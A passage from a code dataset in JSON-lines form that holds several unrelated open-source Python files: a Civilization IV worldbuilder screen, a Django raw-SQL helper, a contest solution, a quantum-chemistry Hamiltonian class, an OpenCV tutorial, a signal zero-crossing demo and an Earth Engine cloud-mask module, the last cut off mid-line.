self.GC.getGameOptionInfo(ID).getHelp())\n\n\t\telif not iCode: # click\n\n\t\t\tif BASE == \"SpinBox\":\n\t\t\t\tif bCtrl:\n\t\t\t\t\tif szFlag == \"MOUSE_RBUTTONUP\":\n\t\t\t\t\t\tiInc = -1\n\t\t\t\t\telse: iInc = 1\n\t\t\t\taList = (TYPE, CASE, NAME)\n\n\t\t\t\tif TYPE == \"Date\":\n\n\t\t\t\t\tif CASE[0] == \"StartYear\":\n\t\t\t\t\t\tif bCtrl:\n\t\t\t\t\t\t\tself.applySpinBoxData(None, (aList, self.GAME.getStartYear() + iInc))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.initSpinBox(aList, self.GAME.getStartYear(), 1, 10000000, -10000000, self.szStartYear)\n\n\t\t\t\t\telif CASE[0] == \"GameTurn\":\n\t\t\t\t\t\tif bCtrl:\n\t\t\t\t\t\t\tiNewValue = self.GAME.getGameTurn() + iInc\n\t\t\t\t\t\t\tif iNewValue > -1:\n\t\t\t\t\t\t\t\tself.applySpinBoxData(None, (aList, iNewValue))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.initSpinBox(aList, self.GAME.getGameTurn(), 1, 10000000, 0, self.szGameTurn)\n\n\t\t\t\t\telif CASE[0] == \"MaxTurns\":\n\t\t\t\t\t\tif bCtrl:\n\t\t\t\t\t\t\tiNewValue = self.GAME.getMaxTurns() + iInc\n\t\t\t\t\t\t\tif iNewValue > -1:\n\t\t\t\t\t\t\t\tself.applySpinBoxData(None, (aList, iNewValue))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.initSpinBox(aList, self.GAME.getMaxTurns(), 1, 10000000, 0, self.szMaxTurns)\n\n\t\t\t\telif TYPE == \"MaxCityElimination\":\n\t\t\t\t\tif bCtrl:\n\t\t\t\t\t\tiNewValue = self.GAME.getMaxCityElimination() + iInc\n\t\t\t\t\t\tif iNewValue > -1:\n\t\t\t\t\t\t\tself.applySpinBoxData(None, (aList, iNewValue))\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.initSpinBox(aList, self.GAME.getMaxCityElimination(), 1, 10000000, 0, self.szMaxCityElimination)\n\n\t\t\t\telif TYPE == \"TargetScore\":\n\t\t\t\t\tif bCtrl:\n\t\t\t\t\t\tiNewValue = self.GAME.getTargetScore() + iInc\n\t\t\t\t\t\tif iNewValue > -1:\n\t\t\t\t\t\t\tself.applySpinBoxData(None, (aList, iNewValue))\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.initSpinBox(aList, self.GAME.getTargetScore(), 1, 10000000, 0, self.szTargetScore)\n\n\t\t\t\telif TYPE == \"NukesExploded\":\n\t\t\t\t\tif bCtrl:\n\t\t\t\t\t\tiNewValue = self.GAME.getNukesExploded() + iInc\n\t\t\t\t\t\tif iNewValue > -1:\n\t\t\t\t\t\t\tself.applySpinBoxData(None, (aList, iNewValue, iInc))\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.initSpinBox(aList, self.GAME.getNukesExploded(), 1, 10000000, 0, self.szNukesExploded)\n\n\t\t\t\telif TYPE == \"TradeRoutes\":\n\t\t\t\t\tif bCtrl:\n\t\t\t\t\t\tiNewValue = self.GAME.getTradeRoutes() + iInc\n\t\t\t\t\t\tif iNewValue > -1:\n\t\t\t\t\t\t\tself.applySpinBoxData(None, (aList, iNewValue, iInc))\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.initSpinBox(aList, self.GAME.getTradeRoutes(), 1, 10000000, 0, self.szTradeRoutes)\n\n\t\t\telif BASE == \"PullDown\":\n\n\t\t\t\taList = (TYPE, CASE, NAME)\n\t\t\t\tif TYPE == \"CircumnavigatedGlobe\":\n\t\t\t\t\tself.initPullDown(aList, self.GAME.getCircumnavigatedTeam(), self.szCircumnavigatedGlobe)\n\n\t\t\telif BASE == \"ScriptData\":\n\t\t\t\tif TYPE == \"Btn\":\n\t\t\t\t\tself.initEditBox(screen)\n\n\t\t\t\telif TYPE == \"Ok\":\n\t\t\t\t\tself.closeEditBox(screen, True)\n\n\t\t\t\telif TYPE == \"Cancel\":\n\t\t\t\t\tself.closeEditBox(screen, False)\n\n\t\t\telif NAME == \"HiddenOptions\":\n\t\t\t\tself.bHiddenOption = not self.bHiddenOption\n\t\t\t\tscreen.hide(NAME)\n\t\t\t\tscreen.modifyString(NAME, self.getHiddenOptionsBtnText(), 1<<0)\n\t\t\t\tscreen.show(NAME)\n\t\t\t\tself.placeGameOptions(screen)\n\n\t\t\telif NAME == \"GameOption\" or inputClass.iData1 == 999:\n\t\t\t\tif NAME == \"GameOption\":\n\t\t\t\t\tiOption = ID\n\t\t\t\telse: iOption = inputClass.iData2\n\n\t\t\t\tbNewValue = not self.GAME.isOption(iOption)\n\t\t\t\tself.GAME.setOption(iOption, bNewValue)\n\n\t\t\t\tif bNewValue:\n\t\t\t\t\tszTxt = self.szColorYay\n\t\t\t\telse: szTxt = self.szColorNay\n\n\t\t\t\tinfo = self.GC.getGameOptionInfo(iOption)\n\t\t\t\tszTxt += self.aFontList[3] + info.getDescription()\n\n\t\t\t\tif not info.getVisible():\n\t\t\t\t\tszTxt += self.szHidden\n\n\t\t\t\tname = \"GameOption\" + str(iOption)\n\t\t\t\tscreen.hide(name)\n\t\t\t\tscreen.modifyString(name, szTxt, 1<<0)\n\t\t\t\tscreen.show(name)\n\n\t\t\t\tself.checkOptions(screen, iOption)\n\n\t\t\telif NAME == \"ExitSubScreen\":\n\t\t\t\tself.exit(screen)\n\t\t\t\treturn 1\n\n\t\telif iCode == 11: # List Select\n\n\t\t\tif NAME == \"CurrentPage\":\n\t\t\t\tiIndex = screen.getPullDownData(\"CurrentPage\", screen.getSelectedPullDownID(\"CurrentPage\"))\n\t\t\t\tif iIndex == 8:\n\t\t\t\t\tself.exit(screen)\n\t\t\t\t\timport WBReligionScreen\n\t\t\t\t\tWBReligionScreen.WBReligionScreen(self.WB).interfaceScreen(self.WB.iCurrentPlayer)\n\t\t\t\telif iIndex == 9:\n\t\t\t\t\tself.exit(screen)\n\t\t\t\t\timport WBCorporationScreen\n\t\t\t\t\tWBCorporationScreen.WBCorporationScreen(self.WB).interfaceScreen(self.WB.iCurrentPlayer)\n\t\t\t\telif iIndex == 11:\n\t\t\t\t\tself.exit(screen)\n\t\t\t\t\timport WBInfoScreen\n\t\t\t\t\tWBInfoScreen.WBInfoScreen(self.WB).interfaceScreen(self.WB.iCurrentPlayer)\n\n\t\tglobal iSelectedCiv, iSelectedLeader\n\n\t\tif NAME == \"WBNewCiv\":\n\t\t\tiSelectedCiv = inputClass.iData2\n\t\t\tiSelectedLeader = -1\n\t\t\tself.placeNewPlayer(screen)\n\n\t\telif NAME == \"WBNewLeader\":\n\t\t\tiSelectedLeader = inputClass.iData2\n\t\t\tself.placeNewPlayer(screen)\n\n\t\telif NAME == \"CreatePlayer\":\n\t\t\tfor i in xrange(self.GC.getMAX_PC_PLAYERS()):\n\t\t\t\tif not self.GC.getPlayer(i).isEverAlive():\n\t\t\t\t\tself.GAME.addPlayer(i, iSelectedLeader, iSelectedCiv, True)\n\t\t\t\t\tbreak\n\t\t\tself.exit(screen)\n\t\t\tself.WB.iCurrentPlayer = i\n\t\t\tself.WB.normalPlayerTabModeCB()\n\n\t\treturn 1\n\n\n\t# # # # # #\n\t# Clean Up\n\tdef exit(self, screen):\n\t\tfor widget in self.aWidgetBucket:\n\t\t\tscreen.deleteWidget(widget)\n\t\t# Only clear significant stuff, this object is deleted when you exit the worldbuilder anyway.\n\t\tdel self.aWidgetBucket, self.aFontList, self.eventMng.Events[9998], self.eventMng.Events[9999]\n\n\t\tscreen.setRenderInterfaceOnly(False)\n\t\tscreen.showScreen(PopupStates.POPUPSTATE_IMMEDIATE, True)\n\t\tscreen.setForcedRedraw(True)\n\t\tself.WB.inSubScreen = None\n","sub_path":"Assets/Python/Screens/Worldbuilder/WBGameDataScreen.py","file_name":"WBGameDataScreen.py","file_ext":"py","file_size_in_byte":25988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"208098150","text":"from django.db import connections\n\n\nclass RawSql:\n \"\"\"Django原生sql操作数据库封装类\"\"\"\n __sql = ''\n __database_name = ''\n\n @staticmethod\n def __doc__():\n \"\"\"用户使用文档\"\"\"\n print(\"set_sql(sql_str)函数:设置sql参数\\n\"\n \"查询类函数:\\n\"\n \"get_dic(sql_str)函数:输出字典类型的查询结果\\n\"\n \"get_list(sql_str)函数:返回列表型结果\\n\"\n \"更新函数:\\n\"\n \"execute(sql_str):传入sql语句,执行正确返回True,执行错误返回False\\n\"\n \"set_db(self, database_name): 输入database的名字,重新设置操作数据库\"\n \"get_db(): 获取当前连接数据库\")\n\n def __init__(self, database_name='default', sql=''):\n \"\"\"构造函数\"\"\"\n self.__sql = sql\n self.__database_name = database_name\n\n def set_db(self, database_name=\"default\"):\n self.__database_name = database_name\n\n def get_db(self):\n return self.__database_name\n\n def set_sql(self, sql):\n \"\"\"set_sql(sql_str)函数:设置sql参数\"\"\"\n self.__sql = sql\n\n def get_json(self, sql=''):\n \"\"\"get_dic(sql_str)函数\"\"\"\n if sql:\n self.__sql = sql\n if not self.__sql:\n print(\"没有SQL语句传入\\n\")\n return False\n cursor = connections[self.__database_name].cursor()\n cursor.execute(self.__sql)\n columns = [col[0] for col in cursor.description]\n get_sql_data = cursor.fetchall()\n if not get_sql_data:\n return None\n lists = []\n for row in get_sql_data:\n lists.append(dict(zip(columns, row)))\n result = str(lists).replace('\\'', '\\\"')\n return result\n\n def get_list(self, sql=''):\n \"\"\"get_list(sql_str)函数\"\"\"\n if sql:\n self.__sql = sql\n if not self.__sql:\n print(\"没有SQL语句传入\\n\")\n return False\n cursor = connections[self.__database_name].cursor()\n cursor.execute(self.__sql)\n data = cursor.fetchall()\n get_sql_data = []\n list_result = []\n for tuple_var in data:\n for var in tuple_var:\n get_sql_data.append(var)\n list_result += get_sql_data\n get_sql_data.clear()\n return list_result\n\n def execute(self, sql=''):\n \"\"\"执行增加,删除,修改操作,若成功则返回True, 失败则返回False\"\"\"\n if sql:\n self.__sql = sql\n if not self.__sql:\n print(\"没有SQL语句传入\\n\")\n return False\n cursor = connections[self.__database_name].cursor()\n try:\n cursor.execute(self.__sql)\n return True\n except:\n connections[self.__database_name].rollback()\n return False\n\n\n","sub_path":"RawSql.py","file_name":"RawSql.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"560445342","text":"import sys\n\ndef input():\n return sys.stdin.readline().strip()\n \nn, m, q = [int(i) for i in input().split()]\nv = {}\nvv = {}\ninp = list(map(lambda x : int(x), input().split()))\nprev = 0\nfor i in inp:\n vv[i] = prev\n prev += i\n v[i] = prev\n\nfor _ in range(q):\n a, b = (int(i) for i in input().split())\n if v[b] - vv[a] < m*2:\n print(\"Not enough\")\n else:\n print(\"Enough\")","sub_path":"site/solutions/DMOJ/rgpc17p2.py","file_name":"rgpc17p2.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"473527674","text":"from typing import List, Optional, Union, overload\nimport torch\nimport xitorch as xt\nimport dqc.hamilton.intor as intor\nfrom dqc.df.base_df import BaseDF\nfrom dqc.df.dfmol import DFMol\nfrom dqc.hamilton.base_hamilton import BaseHamilton\nfrom dqc.utils.datastruct import AtomCGTOBasis, ValGrad, SpinParam, DensityFitInfo\nfrom dqc.grid.base_grid import BaseGrid\nfrom dqc.xc.base_xc import BaseXC\nfrom dqc.utils.cache import Cache\n\nclass HamiltonCGTO(BaseHamilton):\n def __init__(self, atombases: List[AtomCGTOBasis], spherical: bool = True,\n df: Optional[DensityFitInfo] = None,\n efield: Optional[torch.Tensor] = None,\n cache: Optional[Cache] = None) -> None:\n self.atombases = atombases\n self.spherical = spherical\n self.libcint_wrapper = intor.LibcintWrapper(atombases, spherical)\n self.dtype = self.libcint_wrapper.dtype\n self.device = self.libcint_wrapper.device\n if df is None:\n self._df: Optional[DFMol] = None\n else:\n self._df = DFMol(df, wrapper=self.libcint_wrapper)\n\n self._efield = efield\n if efield is not None:\n assert efield.ndim == 1 and efield.numel() == 3\n\n self.is_grid_set = False\n self.is_ao_set = False\n self.is_grad_ao_set = False\n self.is_lapl_ao_set = False\n self.xc: Optional[BaseXC] = None\n self.xcfamily = 1\n self.is_built = False\n\n # initialize cache\n self._cache = cache if cache is not None else Cache.get_dummy()\n self._cache.add_cacheable_params([\"overlap\", \"kinetic\", \"nuclattr\", \"efield\"])\n if self._df is None:\n self._cache.add_cacheable_params([\"elrep\"])\n\n @property\n def nao(self) -> int:\n return self.libcint_wrapper.nao()\n\n @property\n def kpts(self) -> torch.Tensor:\n raise TypeError(\"Isolated molecule Hamiltonian does not have kpts property\")\n\n @property\n def df(self) -> Optional[BaseDF]:\n return self._df\n\n def build(self) -> BaseHamilton:\n # get the matrices (all (nao, nao), except el_mat)\n # these matrices have already been normalized\n with self._cache.open():\n\n self.olp_mat = self._cache.cache(\"overlap\", lambda: intor.overlap(self.libcint_wrapper))\n kin_mat = self._cache.cache(\"kinetic\", lambda: intor.kinetic(self.libcint_wrapper))\n nucl_mat = self._cache.cache(\"nuclattr\", lambda: intor.nuclattr(self.libcint_wrapper))\n self.nucl_mat = nucl_mat\n self.kinnucl_mat = kin_mat + nucl_mat\n\n # electric field integral\n if self._efield is not None:\n # (ndim, nao, nao)\n efield_mat_f = self._cache.cache(\"efield\", lambda: intor.int1e(\"r0\", self.libcint_wrapper))\n efield_mat = torch.einsum(\"dab,d->ab\", efield_mat_f, self._efield)\n self.kinnucl_mat = self.kinnucl_mat + efield_mat\n\n if self._df is None:\n self.el_mat = self._cache.cache(\"elrep\", lambda: intor.elrep(self.libcint_wrapper)) # (nao^4)\n else:\n self._df.build()\n self.is_built = True\n\n return self\n\n def get_nuclattr(self) -> xt.LinearOperator:\n # nucl_mat: (nao, nao)\n # return: (nao, nao)\n return xt.LinearOperator.m(self.nucl_mat, is_hermitian=True)\n\n def get_kinnucl(self) -> xt.LinearOperator:\n # kinnucl_mat: (nao, nao)\n # return: (nao, nao)\n return xt.LinearOperator.m(self.kinnucl_mat, is_hermitian=True)\n\n def get_overlap(self) -> xt.LinearOperator:\n # olp_mat: (nao, nao)\n # return: (nao, nao)\n return xt.LinearOperator.m(self.olp_mat, is_hermitian=True)\n\n def get_elrep(self, dm: torch.Tensor) -> xt.LinearOperator:\n # dm: (*BD, nao, nao)\n # elrep_mat: (nao, nao, nao, nao)\n # return: (*BD, nao, nao)\n if self._df is None:\n mat = torch.einsum(\"...ij,ijkl->...kl\", dm, self.el_mat)\n mat = (mat + mat.transpose(-2, -1)) * 0.5 # reduce numerical instability\n return xt.LinearOperator.m(mat, is_hermitian=True)\n else:\n elrep = self._df.get_elrep(dm)\n return elrep\n\n def ao_orb2dm(self, orb: torch.Tensor, orb_weight: torch.Tensor) -> torch.Tensor:\n # convert the atomic orbital to the density matrix\n # in CGTO, it is U.W.U^T\n\n # orb: (*BO, nao, norb)\n # orb_weight: (*BW, norb)\n # return: (*BOW, nao, nao)\n\n orb_w = orb * orb_weight.unsqueeze(-2) # (*BOW, nao, norb)\n return torch.matmul(orb, orb_w.transpose(-2, -1)) # (*BOW, nao, nao)\n\n def aodm2dens(self, dm: torch.Tensor, xyz: torch.Tensor) -> torch.Tensor:\n # xyz: (*BR, ndim)\n # dm: (*BD, nao, nao)\n # returns: (*BRD)\n\n nao = dm.shape[-1]\n xyzshape = xyz.shape\n # basis: (nao, *BR)\n basis = intor.eval_gto(self.libcint_wrapper, xyz.reshape(-1, xyzshape[-1])).reshape((nao, *xyzshape[:-1]))\n basis = torch.movedim(basis, 0, -1) # (*BR, nao)\n\n # torch.einsum(\"...ij,...i,...j->...\", dm, basis, basis)\n dens = torch.matmul(dm, basis.unsqueeze(-1)) # (*BRD, nao, 1)\n dens = torch.matmul(basis.unsqueeze(-2), dens).squeeze(-1).squeeze(-1) # (*BRD)\n return dens\n\n ############### grid-related ###############\n def setup_grid(self, grid: BaseGrid, xc: Optional[BaseXC] = None) -> None:\n # save the family and save the xc\n self.xc = xc\n if xc is None:\n self.xcfamily = 1\n else:\n self.xcfamily = xc.family\n\n # save the grid\n self.grid = grid\n self.rgrid = grid.get_rgrid()\n assert grid.coord_type == \"cart\"\n\n # setup the basis as a spatial function\n self.is_ao_set = True\n self.basis = intor.eval_gto(self.libcint_wrapper, self.rgrid) # (nao, ngrid)\n self.basis_dvolume = self.basis * self.grid.get_dvolume() # (nao, ngrid)\n\n if self.xcfamily == 1: # LDA\n return\n\n # setup the gradient of the basis\n self.is_grad_ao_set = True\n self.grad_basis = intor.eval_gradgto(self.libcint_wrapper, self.rgrid) # (ndim, nao, ngrid)\n if self.xcfamily == 2: # GGA\n return\n\n # setup the laplacian of the basis\n self.is_lapl_ao_set = True\n self.lapl_basis = intor.eval_laplgto(self.libcint_wrapper, self.rgrid) # (nao, ngrid)\n\n def get_vext(self, vext: torch.Tensor) -> xt.LinearOperator:\n # vext: (*BR, ngrid)\n if not self.is_ao_set:\n raise RuntimeError(\"Please call `setup_grid(grid, xc)` to call this function\")\n mat = torch.einsum(\"...r,br,cr->...bc\", vext, self.basis_dvolume, self.basis) # (*BR, nao, nao)\n mat = (mat + mat.transpose(-2, -1)) * 0.5 # ensure the symmetricity and reduce numerical instability\n return xt.LinearOperator.m(mat, is_hermitian=True)\n\n def get_grad_vext(self, grad_vext: torch.Tensor) -> xt.LinearOperator:\n # grad_vext: (*BR, ngrid, ndim)\n if not self.is_grad_ao_set:\n raise RuntimeError(\"Please call `setup_grid(grid, xc)` to call this function\")\n mat = torch.einsum(\"...rd,br,dcr->...bc\", grad_vext, self.basis_dvolume, self.grad_basis)\n mat = mat + mat.transpose(-2, -1) # Martin, et. al., eq. (8.14)\n return xt.LinearOperator.m(mat, is_hermitian=True)\n\n def get_lapl_vext(self, lapl_vext: torch.Tensor) -> xt.LinearOperator:\n # get the linear operator for the laplacian part of the potential\n # lapl_vext: (*BR, ngrid)\n # return: (*BR, nao, nao)\n # TODO: implement this!\n pass\n\n ################ xc-related ################\n @overload\n def get_vxc(self, dm: SpinParam[torch.Tensor]) -> SpinParam[xt.LinearOperator]:\n ...\n\n @overload\n def get_vxc(self, dm: torch.Tensor) -> xt.LinearOperator:\n ...\n\n def get_vxc(self, dm):\n # dm: (*BD, nao, nao)\n assert self.xc is not None, \"Please call .setup_grid with the xc object\"\n\n densinfo = self._dm2densinfo(dm, self.xc.family) # value: (*BD, nr)\n potinfo = self.xc.get_vxc(densinfo) # value: (*BD, nr)\n\n if isinstance(dm, torch.Tensor): # unpolarized case\n # get the linear operator from the potential\n vxc_linop = self.get_vext(potinfo.value)\n if self.xcfamily >= 2: # GGA or MGGA\n assert potinfo.grad is not None\n vxc_linop = vxc_linop + self.get_grad_vext(potinfo.grad)\n if self.xcfamily >= 3: # MGGA\n assert potinfo.lapl is not None\n vxc_linop = vxc_linop + self.get_lapl_vext(potinfo.lapl)\n\n return vxc_linop\n\n else: # polarized case\n # get the linear operator from the potential\n vxc_linop_u = self.get_vext(potinfo.u.value)\n vxc_linop_d = self.get_vext(potinfo.d.value)\n if self.xcfamily >= 2: # GGA or MGGA\n assert potinfo.u.grad is not None\n assert potinfo.d.grad is not None\n vxc_linop_u = vxc_linop_u + self.get_grad_vext(potinfo.u.grad)\n vxc_linop_d = vxc_linop_d + self.get_grad_vext(potinfo.d.grad)\n if self.xcfamily >= 3: # MGGA\n assert potinfo.u.lapl is not None\n assert potinfo.d.lapl is not None\n vxc_linop_u = vxc_linop_u + self.get_lapl_vext(potinfo.u.lapl)\n vxc_linop_d = vxc_linop_d + self.get_lapl_vext(potinfo.d.lapl)\n\n return SpinParam(u=vxc_linop_u, d=vxc_linop_d)\n\n def get_exc(self, dm: Union[torch.Tensor, SpinParam[torch.Tensor]]) -> torch.Tensor:\n assert self.xc is not None, \"Please call .setup_grid with the xc object\"\n\n # obtain the energy density per unit volume\n densinfo = self._dm2densinfo(dm, self.xc.family) # (spin) value: (*BD, nr)\n edens = self.xc.get_edensityxc(densinfo) # (*BD, nr)\n\n return torch.sum(self.grid.get_dvolume() * edens, dim=-1)\n\n @overload\n def _dm2densinfo(self, dm: torch.Tensor, family: int) -> ValGrad:\n ...\n\n @overload\n def _dm2densinfo(self, dm: SpinParam[torch.Tensor], family: int) -> SpinParam[ValGrad]:\n ...\n\n def _dm2densinfo(self, dm, family):\n # dm: (*BD, nao, nao)\n # family: 1 for LDA, 2 for GGA, 3 for MGGA\n # self.basis: (nao, ngrid)\n if isinstance(dm, SpinParam):\n res_u = self._dm2densinfo(dm.u, family)\n res_d = self._dm2densinfo(dm.d, family)\n return SpinParam(u=res_u, d=res_d)\n else:\n dens = self._get_dens_at_grid(dm)\n\n # calculate the density gradient\n gdens = None\n if family >= 2: # requires gradient\n # (*BD, ngrid, ndim)\n # dm is multiplied by 2 because n(r) = sum (D_ij * phi_i * phi_j), thus\n # d.n(r) = sum (D_ij * d.phi_i * phi_j + D_ij * phi_i * d.phi_j)\n gdens = self._get_grad_dens_at_grid(dm)\n\n # TODO: implement the density laplacian\n\n # dens: (*BD, ngrid)\n # gdens: (*BD, ngrid, ndim)\n res = ValGrad(value=dens, grad=gdens)\n return res\n\n def _get_dens_at_grid(self, dm: torch.Tensor) -> torch.Tensor:\n # get the density at the grid\n return torch.einsum(\"...ij,ir,jr->...r\", dm, self.basis, self.basis)\n\n def _get_grad_dens_at_grid(self, dm: torch.Tensor) -> torch.Tensor:\n # get the gradient of density at the grid\n if not self.is_grad_ao_set:\n raise RuntimeError(\"Please call `setup_grid(grid, gradlevel>=1)` to calculate the density gradient\")\n # dm is multiplied by 2 because n(r) = sum (D_ij * phi_i * phi_j), thus\n # d.n(r) = sum (D_ij * d.phi_i * phi_j + D_ij * phi_i * d.phi_j)\n return torch.einsum(\"...ij,dir,jr->...rd\", 2 * dm, self.grad_basis, self.basis)\n\n def getparamnames(self, methodname: str, prefix: str = \"\") -> List[str]:\n if methodname == \"get_kinnucl\":\n return [prefix + \"kinnucl_mat\"]\n elif methodname == \"get_nuclattr\":\n return [prefix + \"nucl_mat\"]\n elif methodname == \"get_overlap\":\n return [prefix + \"olp_mat\"]\n elif methodname == \"get_elrep\":\n if self._df is None:\n return [prefix + \"el_mat\"]\n else:\n return self._df.getparamnames(\"get_elrep\", prefix=prefix + \"_df.\")\n elif methodname == \"ao_orb2dm\":\n return []\n elif methodname == \"get_vext\":\n return [prefix + \"basis_dvolume\", prefix + \"basis\"]\n elif methodname == \"get_grad_vext\":\n return [prefix + \"basis_dvolume\", prefix + \"grad_basis\"]\n elif methodname == \"get_lapl_vext\":\n return [prefix + \"basis_dvolume\", prefix + \"lapl_basis\"]\n elif methodname == \"get_vxc\":\n assert self.xc is not None\n params = self.getparamnames(\"_dm2densinfo\", prefix=prefix) + \\\n self.getparamnames(\"get_vext\", prefix=prefix) + \\\n self.xc.getparamnames(\"get_vxc\", prefix=prefix + \"xc.\")\n if self.xcfamily >= 2:\n params += self.getparamnames(\"get_grad_vext\", prefix=prefix)\n if self.xcfamily >= 3:\n params += self.getparamnames(\"get_lapl_vext\", prefix=prefix)\n return params\n elif methodname == \"_dm2densinfo\":\n params = self.getparamnames(\"_get_dens_at_grid\", prefix=prefix)\n if self.xcfamily >= 2:\n params += self.getparamnames(\"_get_grad_dens_at_grid\", prefix=prefix)\n if self.xcfamily >= 3:\n params += self.getparamnames(\"_get_lapl_dens_at_grid\", prefix=prefix)\n return params\n elif methodname == \"_get_dens_at_grid\":\n return [prefix + \"basis\"]\n elif methodname == \"_get_grad_dens_at_grid\":\n return [prefix + \"basis\", prefix + \"grad_basis\"]\n elif methodname == \"_get_lapl_dens_at_grid\":\n return [prefix + \"basis\", prefix + \"lapl_basis\"]\n else:\n raise KeyError(\"getparamnames has no %s method\" % methodname)\n # TODO: complete this\n","sub_path":"dqc/hamilton/hcgto.py","file_name":"hcgto.py","file_ext":"py","file_size_in_byte":14282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"409333490","text":"#图片的读取与保存\nimport cv2\nimport numpy as np\n \n# 读取图片: cv2.imread(路径,num) 其中num=0,为灰度图像;num=1为彩图\nimg = cv2.imread('001.jpg',0)\n \n# 创建窗口,cv2.namedWindow(窗口名)\ncv2.namedWindow('image')\n \n# 保存图片,cv2.imwrite(保存图片名,要保存的图片)\ncv2.imwrite('002.jpg',img)\n# 第三个参数针对特定的格式: 对于JPEG,其表示的是图像的质量,用0-100的整数表示(越高越清晰,压缩级别越低),默认为95。 注意,cv2.IMWRITE_JPEG_QUALITY类型为Long,必须转换成int。\ncv2.imwrite('003.jpg',img,[int(cv2.IMWRITE_JPEG_QUALITY), 10])\n# 对于PNG,第三个参数表示的是压缩级别。cv2.IMWRITE_PNG_COMPRESSION,从0到9,压缩级别越高,图像尺寸越小。默认级别为3\ncv2.imwrite('004.png', img, [int(cv2.IMWRITE_PNG_COMPRESSION), 8])\n# 图片显示,cv2.imshow(窗口名,要显示的图片)\ncv2.imshow('image1',img)\n \n# 复制img图片\n#emptyimage = img.copy()\n# 创建空图片\nemptyimage = np.zeros(img.shape,np.uint8)\n# np.zeros 返回一个给定形状和类型的用0填充的数组\n# np.uint8 无符号8位数\ncv2.imshow('image2',emptyimage)\n \n# 键盘绑定函数\nk = cv2.waitKey(0) & 0xF\n# 释放窗口\nif k==27:\n\tcv2.destroyAllWindows()\n#不加if语句的话git bash会停滞\n\n#cv2.waitKey() \n#\t一个键盘绑定函数。它的参数是以毫秒为单位的时间。\n#\t该函数等待任何键盘事件的指定毫秒。如果您在该时间内按任意键,程序将继续。\n#\t如果为0,则无限期等待键击。它也可以设置为检测特定的键击,如果按下键a等。\n#cv2.destroyAllWindows()\n#\t只是破坏了我们创建的所有窗口。\n#\t如果要销毁任何特定窗口,请使用函数cv2.destroyWindow(),其中传递确切的窗口名称作为参数。","sub_path":"py/opencv/opencv1.py","file_name":"opencv1.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"462214631","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\"\"\"\nCreated on Thu Aug 17 00:52:10 2017\n\n@author: josef\n\"\"\"\nimport random\n\n\ndef firstn(g, n):\n for i in range(n):\n yield g.next()\n\ndef signal():\n while 1:\n yield random.randrange(-5, 5)\n\ndef cross_detect(a, b):\n if ((a > 0) and (b < 0)): return -1\n elif ((a < 0) and (b > 0)): return 1\n else: return 0\n\ndef zerocross(g):\n a = g.next()\n b = g.next()\n while 1:\n yield cross_detect(a, b)\n a, b = b, g.next()\n\t\t\ndef smooth(g):\n a = g.next()\n b = g.next()\n while 1:\n yield (a+b)/2.0\n a, b = b, g.next()\n \nif __name__ == '__main__':\n print(list(firstn(zerocross(signal()),16)))\n print(list(firstn(zerocross(smooth(signal())),16)))","sub_path":"2017/zero_crossing.py","file_name":"zero_crossing.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"402831866","text":"# !/usr/bin/env python\n# coding=utf-8\n\nfrom __future__ import print_function\nfrom . import tools\nfrom . import decision_tree\nimport ee\n\nimport ee.data\nif not ee.data._initialized: ee.Initialize()\n\ndef compute(image, mask_band, bits, options=None, name_all='all_masks'):\n \"\"\" Compute bits using a specified band, a bit's relation and a list of\n options\n\n :param image: the image that holds the bit mask band\n :type image: ee.Image\n :param mask_band: the name of the band that holds the bits mask\n :type mask_band: str\n :param bits: relation between name and bit\n :type bits: dict\n :param options: list of 'bits' to compute. Example: ['cloud', 'snow']. If\n None, will use all keys of the relation's dict\n :type options: list\n :param name_all: name for the band that holds the final mask. Default:\n 'all_masks'\n :type name_all: str\n :return: The computed mask\n :rtype: ee.Image\n \"\"\"\n # cast params in case they are not EE objects\n bits_dict = ee.Dictionary(bits)\n opt = ee.List(options) if options else bits_dict.keys()\n image = ee.Image(image).select(mask_band)\n\n first = ee.Image.constant(0).select([0], [name_all]) # init image\n\n # function for iterate over the options\n def for_iterate(option, ini):\n i = ee.Image(ini) # cast ini\n all = i.select([name_all])\n\n # bits relation dict contains the option?\n cond = bits_dict.contains(option)\n\n def for_true():\n ''' function to execute if condition == True '''\n # get the mask for the option\n mask = tools.compute_bits(bits_dict.get(option),\n bits_dict.get(option),\n option)(image)\n\n # name the mask\n # mask = ee.Image(mask).select([0], [option])\n newmask = all.Or(mask)\n\n # return ee.Image(all.Or(mask)).addBands(mask)\n return tools.replace(i, name_all, newmask).addBands(mask)\n\n return ee.Image(ee.Algorithms.If(cond, for_true(), i))\n\n good_pix = ee.Image(opt.iterate(for_iterate, first))\n\n # return good_pix.Not()\n return good_pix\n\n### DEPRECATED FUNCTIONS ###\n# GENERIC APPLICATION OF MASKS\ndef apply_masks(masks):\n \"\"\"\n Get a single mask from many\n\n :param masks: list of ee.Image\n :type masks: list | ee.List\n :return: the resulting mask\n :rtype: ee.Image\n \"\"\"\n masks = ee.List(masks) if isinstance(masks, list) else masks\n first = ee.Image.constant(0)\n\n def compute(mask, first):\n first = ee.Image(first)\n return first.Or(mask)\n\n bad_pixels = ee.Image(masks.iterate(compute, first))\n good_pixels = bad_pixels.Not()\n\n return good_pixels\n\n# MODIS\ndef modis_(img):\n \"\"\" DEPRECATED\n\n Function to use in MODIS Collection\n\n Use:\n\n `masked = collection.map(cloud_mask.modis)`\n \"\"\"\n cmask = 